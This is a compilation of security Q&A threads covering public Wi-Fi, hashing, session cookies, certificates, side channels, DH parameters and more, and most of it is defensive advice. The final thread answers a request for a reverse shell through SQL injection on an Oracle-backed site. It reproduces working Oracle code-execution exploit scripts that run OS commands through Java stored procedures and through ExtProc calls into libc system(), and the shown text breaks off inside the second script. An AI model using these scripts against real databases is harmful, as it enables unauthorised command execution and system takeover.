Are my devices and information vulnerable in a public network? what are some solutions? I'm Studying at a University that has a public network around campus that all students use. This network is even available at the dorms. Since all devices are connected to the same network, is my private information (Banking info, private photos, etc) in danger? Could someone spy on me through my webcam? I found that youtube was streaming to a SMART TV that was connected to the same network without me even allowing it, it just automatically did it.
If I buy a router and connect it to this public network, would my devices be safe then?
I am severely uneducated on the topic, and I am struggling to understand all of the factors that play into network security.

Get a VPN, such as Mullvad, to encrypt your connections to public networks.

is my private information (Banking info, private photos, etc) in danger?

If they don't use TLS (HTTPS), then yes. An attacker could view or modify any data.

Could someone spy on me through my webcam?

Not passively. They'd have to manage to get you to execute malicious software on your computer (either by getting you to download and run it, or by tampering with another downloading executable that you'll run), or you stream video from your webcam without using TLS.

I found that youtube was streaming to a SMART TV that was connected to the same network without me even allowing it, it just automatically did it.

That has nothing to do with public Wi-Fi. Check the smart TV's manual, maybe?

If I buy a router and connect it to this public network, would my devices be safe then?

Not if the router has to connect to the public network over Wi-Fi.


Locking down Amazon RDS table data We are using MySQL Amazon RDS. The instance is encrypted, and also only available via SSH from the production server EC2 instance.

One of the things we are trying to do is give access to some critical data that that we collect and store in this database to ABSOLUTELY NO ONE, NOT EVEN our employees for support. Given this might mean that we cannot have technical support. Some of the data in some tables is OK to be viewed and accessed by our internal employees for emailing, marketing etc., So questions

How does the industry handle such a user scenario, where some of the
data in some of the tables, some of the tables themselves need to be locked down, and only available to the end users via secure API's
Is there a way to completely lock down the data of the users that no
one can see them even with regular sql code?
Is it possible to lock particular rows in the table also based on
    some parameter?

I don't even play a DBA on TV, but I used different (google) bigtables with different access permissions, joined when accessed by the privileged users, via either the GUI or the sorta-nosql language.

For the others, you might need a system with Mandatory Access Control and a DBMS that understands them.  Existed once, but not a business success, so I somewhat doubt they're easily available (:-))


Couldn't we create a string that produces the same hash as another string in SHA-256? Let's say we have a separate hashing algorithm called s2 and it would convert Hello into dug84nd8.
If we could take the algorithm and just reverse engineer it to generate a string like 8GN492MD that would also output dug84nd8, wouldn't it say that (s2("Hello") = s2("8GN492MD")) == true), and let a hacker in?
I feel like that I am missing something, but I don't know what it is.

Your premise has a flaw. You say you want to 'reverse engineer' the hash function. There's no need to reverse engineer it - its implementation is public.
What you can't do is invert it (perhaps that's what you meant), because it's not invertible. You can easily tell it's not an invertible function because the size of the domain (possible number of inputs) is greater than the size of the range (possible number of outputs). The range is 2^256 (possible output states) and the size of the input space is infinite (technically 2^(2^64) apparently, but much larger than 2^256). And that's precisely what permits the collisions (by the pigeon hole principle, there must be more than one possible input for each output - at least for one of the inputs).
The hash function's whole design makes it computationally hard to find those collisions. There are three properties of hashes (first pre-image resistance, second pre-image resistance and collision resistance) which describe that property more exactly.
So the answer to your question is that the design of the function makes it purposely hard to achieve that even if you know exactly how the function works.
For details (in a slightly different context) of how functions can perform surprisingly (why for instance it is impossible to "step backwards through them" to invert them), see the answers here.


Best practice for storing credential in data center I have a cache warming script I want to start in response to a certain server-side event. That script needs user credentials to perform its job (read-only account). So far I have avoided automating this process because I didn't want to store ANY credentials on the server, but I've come to a point where I really need to automate the process. The server is CentOS 6.

I know storing any credential is a risk, so I'm curious what the industry standard is if I can't be at a terminal to enter a credential every time I need this process to run.

Update
The root question: If it is NOT ok to have credentials stored in the clear, what are the other options?

To avoid using the credentials completely, decouple the trigger of the cache warming script from the server-side event.

The concept is:

server-side event sets a flag in a shared location
persistent process run by cache warming script user monitors that shared location
if persistent process sees flag is set, flag is cleared and cache warming script is run

Since the persistent process can be run via cron or as a daemon owned by the cache warming script user, you just set that up once, never need to pass user account credentials.

Shared Location:

Decide on a shared location that can be accessed and written to both by the server-side event and the user that needs to run the cache warming script.  In a system with a database, this could be a variable in a configuration table.  But this could also be just a file in a directory that is +rw by both users and is touch'd by the server-side event.

Setting the flag:

If you are using a database, an example of setting a flag would be if you have a variables table that has key and value columns, setting a particular key's value to 1.  If its a file, it would be the existence of a file.

Side benefits:

If you need to restrict how often the cache warming script is run, you can always implement logic in the persistent process to keep track of the last time the script was run to prevent overuse if something goes bad.

You can easily add multiple triggers of the cache warming script from other server-side events because the method of triggering the script is hidden behind the shared location interface.


If someone steals my laptop while I'm logged in, how can I protect my browser? My question has its roots in an xkcd from this week:

http://xkcd.com/1200/

Isn't this true and ironic? We place so much emphasis on browser security and OS security -- and rightly so -- yet if I step away for a minute while my browser is open, and I come back and my computer is gone, basically all my online accounts are hosed. Now, I get it: don't leave your computer unattended, logged in, etc, but just suppose that I, as a human, make a mistake. Is there another layer of security on the browser level at all?

In other words, are there "browser lock" features on any of the major browsers, similar to the host OS lock features, which lock the browser itself after a certain amount of time or my computer goes to sleep/standby, where I have to authenticate to resume my session? (A hotkey to lock the browser could be useful, for instance, when you want to just quickly hand your computer to somebody next to you to use without having to make a guest account, switch users, etc...)

Or are there features to close a browsing session remotely -- including clear cookies -- in any of the major browsers, most of which I know can sync this data between devices? Would either/any of these be effective for various situations?

Isn't this true and ironic? We place so much emphasis on browser security and OS security -- and rightly so -- yet if I step away for a minute while my browser is open, ...

As I previously implied on another post quoting this comic, the problem is that fundamentally, if you leave your screen unlocked the OS has no way to tell that the person typing and clicking is not in fact you. It has already authenticated you, and for now it is just checking you are authorised.

"You" are completely authorised to change your facebook status to "I am a fool" inserting "your" choice expletives!

There is a solution to this - force the user to periodically re-authenticate. Unfortunately, to protect against the case of "I walked out the front door (away from my laptop) leaving it unlocked and open (did not lock screen)" you'd essentially need something that looked like UAC on LSD - "please re-enter your password to copy that file. And again to rename it. And again to open it" and so on.

However...

  and I come back and my computer is gone, basically all my online accounts are hosed.

That's not quite true. It really depends on the web account in question. For many accounts, whilst you do not need to re-authenticate to do some reputation damaging actions, there are some defenses:

Account sessions aren't maintained indefinitely, for this reason. After a certain amount of inactivity, accounts usually time out.
Changing sensitive account properties - like the password of the account or critical settings - can require re-authenticating.

  Or are there features to close a browsing session remotely -- including clear cookies -- in any of the major browsers, most of which I know can sync this data between devices?

I don't use browser syncing, but I suspect the answer is as always - vs a sophisticated enough attacker, this would not help.

However, there is again hope. Some web based services use API keys or equivalent to authenticate machines - so you can indeed invalidate for example your dropbox account on that system. Google Apps "Application Passwords" are another good example of this.

  which lock the browser itself after a certain amount of time or my computer goes to sleep/standby, where I have to authenticate to resume my session?

I'm not sure what use just locking the browser would be. To put this into context, the attack vector in this case is "someone who is not you, but fully authenticated as you". That's almost impossible to build defences against.

Indeed, the point of the comic, that "they could do everything but get to root" doesn't really apply to this attack vector. For starters, physical access probably will let you get to root one way or another, but more importantly those defences are to protect applications which are authenticated as you and have been compromised from further compromising the system in an automated fashion - this is particularly relevant when you are not the only user of the system.

There is a massive argument that in fact further isolation is needed at the desktop level between individual applications for a single user - e.g. between browser tabs as per the chromium sandbox, separate levels of Window that cannot interact e.g. UIPI, fully isolated applications via hypervisor e.g. Qubes. There are people building sandboxes on Linux e.g. 1 2 3. You can sandbox Windows further with say Sandboxie.

All of these neat little solutions to the malware-infects-your-browser-tab-but-is-isolated-from-your-bank-session cannot protect you from "yourself". The input device is still completely trusted once the "trusted" gui is unlocked.

The best defence you can really offer yourself has already been mentioned:

Lock your screen.
Encrypt your disk.

As has been noted, you are not fully safe against cold boot attacks, but I suspect a casual thief is not capable of implementing one successfully.


Cryptographic algorithm to anonymise strings in pronounceable fashion? NB: I originally posted this on SO (link), but then realise Security SE be more suitable, since there's existing questions around Crypto-PAn, which is similar here

I have a logfile of database queries that I'd like to anonymise - these are obtained from clients, and then analysed externally. The clients would like to anonymise these enough to protect identifying information, but still leave enough to allow useful analysis.

Some lines may contain IP addresses (e.g. source IP) - I believe I can use something like Crypto-PAn to anonymise those. My understanding is that this anonymising is injective (1:1) as well as repeatable, but also non-reversible.

Likewise, lines may also contain fields and values - e.g. { "name.first": "John" }.

For the values, I'm happy to just use straight MD5 (or similar on the contents) - it's not as critical that we see what they are.

However, for the database fields, we'd like to preserve these in a somewhat human-readable format. This is because we'd be doing performance analysis based around those fields (e.g. grouping queries by the fields etc.)

For example, name.first might become Tree.Blackboard.

The constraints are:

Each input word should map to one hash, and vice versa (I understand there will be some collisions, but hopefully they are rare enough).
Repeatable - If we have multiple logfiles, we want the same hash generated each time - this will allow us to compare across logfiles.
Not reversible - Ideally, there shouldn't be an easy way to reverse the hash to get the original field name.
Human readable - The hash should be human-readable/pronounceable, but they do't necessarily need to be valid English words (e.g. Flerti is acceptable, 037751d79d1ebfdd0664b2c66b8d66d1 is not)

I discussed with a colleague, and one way we thought was:

Take the field name - and pass it through a standard one-way hash (e.g. MD5).
Take enough low-order bits from the resulting hash to map to a dictionary of English words (e.g. 1,000,000 valid words). Use the integer equivalent of those bits, and do a mod to index to a word in that dictionary.

The idea being that - the words would be readable yet also always consistent (assuming your dictionary stayed the same).

If some individuals were worried about dictionary attacks (i.e. the field name "firstname" would always map to say "Blackboard"), then that person could have their own specific keyfile used to salt the hash. This means that it would be repeatable for anonymised logfiles from them (i.e. "firstname" might always map to "Billion" for them), but it would not be the same as for other people who use other keyfiles.

Question 1 - Are there already an existing cryptographic algorithm (similar to Crypto-PAn) that can be used to anonymise strings in some pronounceable/readable fashion?

Question 2 - If not, do you see any glaring holes in the simplistic approach described above?

You might try a syllable hash.

Start with a basic hash algorithm to digest individual data identifiers; it doesn't really have to be crypto-strength, and I'd recommend against. Most implementations will produce a byte array which is perfect; a few will produce a single larger primitive or arrays of larger primitives in which case you'll want to split them into bytes.

Then, find or create a lookup of possible byte values that map to simple consonant-value pairs (Ba, Be, Bi, Bo, Bu, Cha, Che, Chi, Cho, Chu, Da, De, Di, Do, Du etc). The order of the syllables and their mapping to byte values doesn't matter; the hashing is the non-reversible part of the operation, not the syllable mapping. Remember you only get 256, and if you use a secure hash it might also be wise to include a few mappings that add information without adding a syllable (a hyphen, or vowels which would be added to the previous syllable's vowel to create a dipthong or digraph).

With a basic 32-bit checksum hash like FNV-1 or Murmur, this will give you words of seemingly random construction in the 2-4 syllable range with the average trending high (and the chance of recognizable single-syllable words being almost nonexistant especially if leading zeroes are treated the same as inlined or trailing zeroes in the byte array). Using a crypto hash, you'll probably have to XOR-fold the bytes, as something like SHA-1 will give you 10-syllable words, which is why I'd recommend against a crypto hash.

It'll probably sound like some alternate-reality Japanese, but you'll be able to pronounce the resulting identifiers. To make it more English-sounding, you might start with a list of the most common English syllables, like this one. However, this list will include syllables that are common because they're prefixes or suffixes to word roots, while you'll be injecting them in random places in the word.


One SSL Certificate for Client and Server Auth? If I have a cert that has the usages:

Server Authentication (1.3.6.1.5.5.7.3.1)
Client Authentication (1.3.6.1.5.5.7.3.2)

Is it possible that if a client accesses the server and was sent a copy of the cert that they could use that cert as the client auth?

I have a web application that has a cert with server and client auth.

The server does not block client access to the URL.  The client can access https://my.app.  When the client accesses https://my.app/Service it should be blocked.  This is configured in that app.  In this case the app is letting the client in with out explicitly installing that cert on the client machine.

I'm trying to figure out if that's because the client previously accessed the root url and established an SSL connection.

Could this be possible?

Beware of terminology. Certificates relate to asymmetric cryptography in which keys go in pairs: each pair contains a public key and a private key, which are two facets of the same underlying mathematical object (which depends on the algorithm type). Crucially, the private key cannot be computed from the public key, which is exactly why the public key can be made public.

The certificate contains the public key -- only the public key. When a SSL client connects to a SSL server, the server sends its certificate to the client, but certainly not the corresponding private key. Instead, the server uses its private key to perform an operation that only the server can do (because that operation requires the private key and the private key is private).

Similarly, when a SSL client connects to a SSL server and the server asks for a "client certificate", it really means that the client will send its own certificate (with the client public key) and will demonstrate its mastery of the corresponding private key by performing an operation that can only be done with the private key (but can be verified with the public key); this is a signature.

In your envisioned scenario, a client C connects to a first server S1, and S1 sends to C a copy of its certificate. Then C connects to a second server S2 that asks for a "client certificate". C may send the certificate that it received from S1, but that won't go far because C does not have access to the corresponding private key: that key never left server S1, the client does not have any access to it. Thus, C won't be able to complete the authentication with server S2.

The exact extra markings in the certificate (client auth, server auth...) are merely supplementary restrictions on certificate usage, but they are not the foundation of the cryptographic security here. What matters is that a certificate contains only a public key, not the corresponding private key.


What security issues are there when reading cookie with .htaccess? I have a (hobby) web site that runs only on SSL (i.e., site-wide HTTPS). The site does not deal with finances, social security numbers, or anything of that level of importance. However, I'd like to secure it as much as reasonably possible. When a user logs in, two cookies are written: one cookie stores the user id and a second stores a session id. Cookies are marked Secure and HttpOnly.

I have one directory where I'd like all registered users to be able to access files. It seems to me that one way to accomplish this is to use .htaccess in the key directory to see if there is a valid user-id cookie: If so, grant access, but if not, redirect to the login page. This way, I do not need to keep updating legal values for the cookie or have much overhead in checking access.

I found the following code for .htaccess:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_COOKIE} !^.*cookie-name.*$ [NC]
RewriteRule .* /login-error/set-cookie-first.html [NC,L]

and this is all working fine: When logged in as a registered user (i.e., when there is a cookie called cookie-name) I get access to the directory; when not logged in, I'm redirected to the login page.

However, I'm wondering: What security issues have I overlooked? For example, is it possible for an attacker to create a cookie with the correct name in the attacker's browser and then have my system think that's a real cookie?

You want to tie to session IDs not user IDs.  User IDs don't change and can't expire.  They also can be forged if a user ID is known.  Since Session IDs are random, not re-used, and expire, it is far more difficult to make a valid session cookie without actually logging in.


How sensitive are acoustic side-channels to compression with a narrowband codec? Assume sensitive audio emissions from a mechanical keyboard. These audio emissions are often sufficient to reconstruct the actual key presses that generated the sound. If the audio is compressed using a narrowband audio codec such as G.711, how much of the information is destroyed?
Put another way, can acoustic side-channel attacks ever be done using modern telephony?

According to Wikipedia:

"... G.711 passes audio signals in the range of 300–3400 Hz and
samples them at the rate of 8,000"

Nyquist criteria limits the top frequency to be less than half the sample rate, or less than 4 KHz in this case. Further G.711 filtering apparently cuts this down to 3.4 KHz top.
A quick impromptu experiment
Laying the microphone of a USB headset next to my very clicky old Dell keyboard and recording the sound gives me an amplitude time space recording of:

Running a Fourier transform to frequency space yields:

It looks to me like all of the subtle key impulse differentiation lies in the 5-20 KHz region, which by definition cannot be passed by G.711
This was a quick and dirty experiment, take it for what it's worth.


VPN provider asks to install RootCertificate. How is it safe? I want to use VPN provider (ProtonVPN), and don't want to use an app. They ask user to install their Root Ca. How safe is it? What type of info could they get from my laptop? If I have their certificate installed, does that means they can see and get all info from my browser, including passwords and https sites? And what about other non browser traffic? How safe is it? What are the risks?

Your question sounds too broad. It sounds like "trust this certificate for any possible purposes" including SSL/TLS, means also for accessing web sites in your browser via SSL/TLS. The most of users will answer a question asked in such broad form by "Of course, don't do that".

But pay attention to their instruction step 4:

  ... select Use Custom Settings and Always Trust only the IP Security
  (IPsec)

Suppose you are afraid that they want to be a man-in-the-middle and intercept your traffic to read or to modify it. If you trusted their certificate for SSL purposes, that would be possible. But you set the SSL usage policy to "Never Trust". And if they do that, then your browser will warn you, that the web site you are trying to open has an invalid certificate because it was issued by untrusted CA (by Proton CA).

But since you allow trust for IPsec only, other purposes are not affected at all.

TLDR: Yes, it is safe, if you follow the needed steps exactly.


Production ready bcrypt implementation for .NET Which, if any, .NET / C# bcrypt implementations are considered suitable for production environments?

I have seen CryptSharp and BCrypt.Net mentioned in answers to other questions but without any discussion of how widely they are used or how much they may have been reviewed.

C# shares with Java one remarkable characteristic, which is being reproducible. That's the Java motto "write once, run anywhere". It is not entirely true, but for code which:

does not use floating point types;
is pure computation (no system calls);
is mono-threaded;

then tests are effective. This means that you could take the BCrypt.NET implementation, and see whether it is compatible with the reference code. Take care to include tests with non-ASCII password characters, which often are a sore spot. Also, measure performance to make sure that the .NET implementation is not unduly slow (for this kind computational tasks, Java or .NET code can be expected to be about 2 to 4 times slower than C code).

If the .NET implementation is compatible with the reference code, and its performance is not abysmal, then the "reproducible results" aspect of C#/.NET will allow you to conclude that it is ready for production.


Two-tier PKI without OCSP? I am currently in the planning phase of a two tier Windows PKI using this deployment guide, and I am stuck concerning the use of OCSP and the online responder role of ADCS.

The guide mandates that one of the servers act as the HTTP CDP/AIA location and be configured as an online responder with OCSP. This role requires the datacenter edition of Windows Server. This is not an option for me due to cost, and I am not sure how to argument the deployment. Do I have to cut out the HTTP CDP/AIA location altogether and rely solely on LDAP, or is there another way to configure it?

My experience with ADCS so far has been with simple, single-tier enterprise root CA's, so this has been a learning process.

Use Server 2012 Standard
The edition requirements for OCSP have been removed in Windows Server 2012.


Is it possible to use systemd seccomp filtering for running applications from command line? Example systemd unit file, what I mean by "seccomp".

ProtectSystem=full
ProtectHome=true
ProtectKernelTunables=true
ProtectKernelModules=true
ProtectControlGroups=true
PrivateTmp=true
PrivateMounts=true
PrivateDevices=true
MemoryDenyWriteExecute=true
RestrictRealtime=true
SystemCallArchitectures=native
RestrictNamespaces=true
RestrictAddressFamilies=AF_UNIX AF_INET
SystemCallFilter=wait4 read stat mmap rt_sigprocmask openat ioctl

How to use systemd unit files with seccomp is fully understood. However, can also manual invocations of programs benefit from systemd seccomp filtering?

I don't believe this is possible with systemd. Even if it were, it wouldn't be particularly useful because many libc (and other common library) initialization routines result in the use syscalls that the program will no longer need. Your best bet is to patch the programs, or hook them with LD_PRELOAD to enable a custom seccomp filter after everything has been initialized properly. At the very minimum, you can hook __libc_start_main. There is Google's minijail which can provide some protection, though.


Would it be easier to be tracked if you were using an IP phone, cell phone or satellite phone? I was looking into how easy it would to have your location tracked on your cell phone, would any of these types of phones offer more protection? (assuming you couldn't turn off your location on a smart phone ).

All mobile phones transmit, so an IP phone connects via wireless networks, a cell phone connects via towers and a satellite phone connects, well, via satellites. Which means signal is traceable. If you are important enough, you can be tracked.

All of these services have location facilities - but how useful they are can depend on who is trying to find out the location.

Mobile phone service providers have triangulation data from cell towers, and law enforcement can generally gain access to this data (in disasters, other groups may also be given access). It is reasonably accurate (to within a few metres)

Satellite phones are not as simple to locate, but locations can typically be worked out in a similar way to the efforts to find Malaysia Airlines flight MH370. The last transponder communications gave search organisations an arc of possible locations. In that case, because there were only a couple of pings, the arc was incredibly long, and across inhospitable ocean, so finding the wreckage was very difficult. If your communication was targeted, it would be possible to narrow down the arc considerably, and if you had to connect to multiple satellites, each one would give a different arc - locating your general area to greater and greater precision over time. Short calls could provide protection here.

IP phones leak routing data, which could be used to locate you to within WiFi range, and with some analysis of data, range from the wireless access point is possible. Routing through a number of networks, and obfuscating where possible will help - although calls suffer badly when this is too extreme.


What are the implications of using the same DH parameters in a TLS server? For a DHE cipher, nginx hard-codes the Diffie-Hellman parameters to use base 2 and a fixed 1024-bit prime (modulus) if no custom DH parameters are configured.

These parameters are public (sent in plaintext in the TLS ServerKeyExchange message), does changing the prime value somehow increase the security of the TLS connection? I am interested in the effect of having different prime numbers, not the number of bits.

Are there any other side-effects of changing the DH parameters, like compatibility issues with clients? (Apache speaks of issues resulting from using larger primes in Java 7 and earlier, but I cannot reproduce this in OpenJDK 1.7.0_40.)

There is no known bad side-effect to sharing the same DH parameters with other people / servers. This is in fact the common case in elliptic-curve DH, because generating your own curve is substantially more difficult than generating your own prime modulus for classical DH, and usual implementation of elliptic curves are tied to a specific curve or a small set of curve (because this is easier and more efficient to write that way).

There has been some theoretical concern about how an attacker might invest a lot of work into "breaking" discrete logarithm modulo a specific prime and then reusing the intermediate calculations to quickly break many DH instances which work modulo that specific prime. In that sense, reusing common DH parameters might imply an extra power of nuisance for the attacker. But this kind of cost sharing does not work for all DL-breaking algorithms, and this also assumes that the attacker could break DL modulo the prime, i.e. that the prime was too short or "special form". This would be a much more pressing reason not to use that prime: not that it is shared, but that it is weak.

Thus, using existing, shared DH parameters is not a problem as long as you can make sure that the said parameters have not been specially "cooked" to allow for a fast(er) break. This usually means that the generating algorithm has been fully specified and can be verified to have been faithfully followed (e.g. see these ones).

Using custom DH parameters should work with all clients, because there is no implementation advantage to tying an implementation to a specific modulus (contrary to elliptic curves). As long as your modulus fits in the size requirements of a specific implementation, things ought to be fine (some older implementations have trouble with sizes beyond 1024 bits; other won't like a modulus whose size is not a multiple of 32 or 64 bits).


Clearing IE temp files don't erase CRL history. How can this be purged? Even after I purge all my Internet temporary files, I still see information when I type

 certutil -urlcache

How do I purge this information?

The information is stored here in Windows 2008 and R2 (Vista and Win7)

Per User
C:\Users\username\AppData\LocalLow\ Microsoft\CryptnetUrlCache

Per Computer
C:\Windows\System32\config\ systemprofile\AppData\LocalLow\ Microsoft\CryptnetUrlCache

To delete the cached entries run the following command:

certutil -urlcache * delete


Extracting the GPG userid from the Public key file? Is it possible to extract userid from GPG public key?

I got public key only and want to know to whom it might belong. I find one possible workaround — to publish this information on keyserver — it decodes information and reveals it to public. But I'm not sure, I should do this.

Is it possible to extract userid using command line gpg?

Use gpg --list-packets [filename] to list all data packets, then grep for user IDs. For example:

$ gpg --export 0xDED9B508F4E10DB2 | gpg --list-packets | Egrep '^:user ID packet'
:user ID packet: "John Doe <john@example.org>"

An alternative would be to use pgpdump

$ gpg --export 0xDED9B508F4E10DB2 | pgpdump | Egrep '^[[:space:]]*User ID'
    User ID - John Doe <john@example.org>


Preventing boot from USB on Dell Inspiron 5559 So what I am looking for is a way to prevent anyone from booting from a USB drive on this specific Dell Inspiron 5559.

so normally what I would have to do is to set an Admin password in BIOS that would prevent anyone from booting using a USB drive or change BIOS settings without the Admin password, but the bad thing is the admin password could be easily bypassed using certain websites with the System Serial that appear in the message asking for the admin password, I won't post links here but you can search on Youtube and see for yourself.

so apparently that doesn't work now I have windows 10 installed and I can use Bitlocker to encrypt my HDD and protect my Info but I am also trying to protect the HDD from sabotage ie formatting the HDD (without using external backup Drive).

In short I want that if someone wanted to tamper with the laptop they would need to open the laptop casing and take the HDD out (or even the cmos battery if they tried to reset the BIOS settings) and I am OK with that.

I recommend you to contact Dell support. It is possible that a firmware update is able to solve your issues (at least, by changing the algorithm if not removing the bypass altogether).

A second option would be to replace the original firmware (BIOS) with a different one (coreboot, OpenBIOS...) which doesn't offer such bypass (you should be well aware of the risks if that firmware doesn't work on your computer, though).


Is a simple random+hmac session cookie breakable? I make session cookies of form session_id+'|'+hmac_sha256(session_id, static_secret) where session_id = random_string(16 bytes) made with a PRNG (not a CSPRNG!) seeded on the server's timestamp at start-up.
The cookies have the Secure flag so transport security is left to TLS to solve.
The session id is authenticated statelessly (i.e. without the need for a session database) the same way it was created, i.e. with hmac_sha256(session_id, static_secret).
Is this breakable? If so, how?

Notes from brynk's answer:

A revocation list would have to be queried as a second authentication step to allow for killing sessions on stolen devices. This will make the session authentication stateful (though the list would likely be short).

The secret has to have 256bit+ of entropy if using HMAC-SHA256. Your cat should be able to handle that in 2-3 walks over the keyboard.

Using a PRNG for session id as opposed to say, an auto-incremented id does not make the cookie more secure. The reason I prefer it is because 1) it's stateless (don't have to keep a next_id file around), and 2) it hides the information of knowing how many sessions were generated before yours.

I'll assume that you're placing a long-lived token on some client device, then authenticating that device periodically with this.
At the moment, your authentication is stateless and involves the client providing the long-lived token: sid + HMAC( sid , static_secret ). The output of RNG has no bearing on things, because sid must be shared in the clear for stateless authentication to occur.
The security of this basically relies on the ability for an adversary to find static_secret that would then allow them to solve HMAC( sid , static_secret ).
So, the value of static_secret must be high entropy and 256-bit if your hash algorithm is SHA256 Eddie and poncho discussing HMAC key sizes, '18.
OBSERVATIONS BASED ON ASSUMPTIONS
What happens when the client device fails or is lost? How does the owner recover the data held by the service? This implies some separate account mechanism. Is there some way you can revoke sid? What if the client device is stolen?
Could devices interact with the server to derive a nonce, that is then used to demonstrate they hold the long-lived token? This would allow them to authenticate without exposing the long-lived token.
You haven't mentioned what transport/ network protocol you're using, and whether the server provides any sort of 'response', or whether the client just sends some payload to server without the expectation of any response.
I still think your device needs to somehow expose time to the stateless auth as well, which implies your client(s) have a reasonably accurate clock, that is relatively in sync with the server.
(A lot of this- where relevant- could be rolled into the authentication token. but it's all still a bit vague: happy to revisit this again if you edit your question to provide some more information.)


Fostering an environment where honesty and disclosure are valued UPDATE: The question is seeking real research based on behavior analysis of a significantly large sample people using well defined experiments. Posting answers based on opinions, or ad-hoc observations, does not address the question, nor does it add value to the question.

Reading a PCWorld article titled, "VeriSign Hacked: What We Don't Know Might Hurt Us", I ran across a quote:

  nCircle CTO Tim ‘TK’ Keanini points out that the hack itself isn’t the
  crux of the problem. No network is impervious, and a company as
  high-profile as VeriSign is a prime target. The key is that
  organizations need to do more to foster an environment where honesty
  and disclosure are valued. If the fear of negative consequences is
  greater than the incentive for quick disclosure and response, you end
  up with a situation where IT staff would rather hide evidence of a
  breach.

Guess in part this was the core of my question about "Business-to-Business Security Disclosure and Agreement" - that being how important reaching an operational agreement where an environment of honesty and disclosure are essentially to doing business.

That said, it's unclear how such an "economy of honesty" would work in the real world.

Are there any fact-based opinions on an "economy of honesty" that provide some insight into if it really is a logical step toward the both security of individuals and their ecosystems?

If there is anything we know for certain, it is that people respond to incentives.

It is trivially true that an environment where employees are incentivised to hide mistakes from management does decrease the ability of management to identify and respond to internal failures. It is also trivially true that a company that is internally crippled in such a way that they cannot identify and respond to its failures is inherently less trustworthy than a company that can identify and respond to its own failures.

Internal failures and problems do not, as a rule, disappear by being buried; they instead tend to grow and metastasize more than a disclosed failure would precisely because the people dealing with the problem have fewer options available to them. If I don't want my mistake to become public, then my range of options in dealing with that mistake are severely limited, and I will end up choosing a less-than-optimal option that protects myself at the expense of the company.

So yes, an internal environment of honesty does increase overall security. Problems can be dealt with swiftly and cleanly, and catastrophes can be averted.

And certainly a company that has an internal environment that promotes honesty is more valuable to me as a customer than one that doesn't. But every manager thinks he fosters an environment of honesty; he wouldn't knowingly set out to encourage his subordinates to lie to him. Asking management whether or not their environment encourages honesty would be a pointless affair.

Instead, you have to look at the incentives.

If an employee sees a mistake -- perhaps his own, perhaps his supervisor, perhaps his subordinate, perhaps his coworker -- then what is his incentive to make that mistake known? What is his incentive to keep it quiet? And the person he tells; what it that person's incentive to keep it quiet?

The concept of an economy deals not just with money but rather with incentives. An economy of honesty is therefore an incentive structure that encourages honesty; be that an internal incentive structure or a structure of incentives between organizations.


Oracle Sql Injection Reverse Shell I am testing for SQL Injection on a website that uses ASP code. I can successfully get all the databases and tables. Current user has DBA privileges. I wonder how can I get a reverse shell by using this SQL Injection. Oracle version is "Oracle Database 11g Enterprise Edition Release 11.1.0.7.0"

You can try this two ways of executing code on Oracle DBMS.

The first is with Java code: http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql

-- Usage example:
-- $ sqlplus "/ as sysdba"
-- [...]
-- SQL> @raptor_oraexec.sql
-- [...]
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa');
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb');
-- SQL> exec dbms_java.set_output(2000);
-- SQL> set serveroutput on;
-- SQL> exec javareadfile('/tmp/mytest');
-- /bin/ls -l > /tmp/aaa
-- /bin/ls -l / >/tmp/bbb
-- SQL> exec javacmd('/bin/sh /tmp/mytest');
-- SQL> !sh
-- $ ls -rtl /tmp/
-- [...]
-- -rw-r--r--   1 oracle   system        45 Nov 22 12:20 mytest
-- -rw-r--r--   1 oracle   system      1645 Nov 22 12:20 aaa
-- -rw-r--r--   1 oracle   system      8267 Nov 22 12:20 bbb
-- [...]
--

create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
    /*
     * Command execution module
     */
    public static void execCommand(String command) throws IOException
    {
        Runtime.getRuntime().exec(command);
    }

    /*
     * File reading module
     */
    public static void readFile(String filename) throws IOException
    {
        FileReader f = new FileReader(filename);
        BufferedReader fr = new BufferedReader(f);
        String text = fr.readLine();
        while (text != null) {
            System.out.println(text);
            text = fr.readLine();
        }
        fr.close();
    }

    /*
     * File writing module
     */
    public static void writeFile(String filename, String line) throws IOException
    {
        FileWriter f = new FileWriter(filename, true); /* append */
        BufferedWriter fw = new BufferedWriter(f);
        fw.write(line);
        fw.write("\n");
        fw.close();
    }
}
/

-- usage: exec javacmd('command');
create or replace procedure javacmd(p_command varchar2) as
language java
name 'oraexec.execCommand(java.lang.String)';
/

-- usage: exec dbms_java.set_output(2000);
--        set serveroutput on;
--        exec javareadfile('/path/to/file');
create or replace procedure javareadfile(p_filename in varchar2) as
language java
name 'oraexec.readFile(java.lang.String)';
/

-- usage: exec javawritefile('/path/to/file', 'line to append');
create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
language java
name 'oraexec.writeFile(java.lang.String, java.lang.String)';
/

The second is using ExtProc: http://www.0xdeadbeef.info/exploits/raptor_oraextproc.sql

-- Usage example:
-- $ echo $ORACLE_HOME
-- /opt/oracle/
-- $ sqlplus "/ as sysdba"
-- [...]
-- Connected to:
-- Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production
-- With the Partitioning, OLAP and Oracle Data Mining options
-- JServer Release 9.2.0.1.0 - Production
-- SQL> @raptor_oraextproc.sql
-- [...]
-- exec oracmd32.exec('touch /tmp/32');
-- [...]
-- ERROR at line 1:
-- ORA-06520: PL/SQL: Error loading external library
-- ORA-06522: ld.so.1: extprocPLSExtProc: fatal:
-- /opt/oracle/bin/../../../../../../../lib/32/libc.so.1: wrong ELF class:
-- ELFCLASS32
-- [...]
-- SQL> exec oracmd64.exec('touch /tmp/64');
-- SQL> !ls -l /tmp/64
-- -rw-r--r--   1 oracle   orainst        0 Dec 19 13:49 /tmp/64
--

-- library for 32-bit oracle releases
create or replace library exec_shell32 as
'$ORACLE_HOME/bin/../../../../../../../lib/32/libc.so.1';
/

-- library for 64-bit oracle releases
create or replace library exec_shell64 as
'$ORACLE_HOME/bin/../../../../../../../lib/64/libc.so.1';
/

-- package for 32-bit oracle releases
-- usage: exec oracmd32.exec('command');
create or replace package oracmd32 as
    procedure exec(cmdstring in char);
end oracmd32;
/
create or replace package body oracmd32 as
    procedure exec(cmdstring in char)
    is external
    name "system"
    library exec_shell32
    language c;
end oracmd32;
/

-- package for 64-bit oracle releases
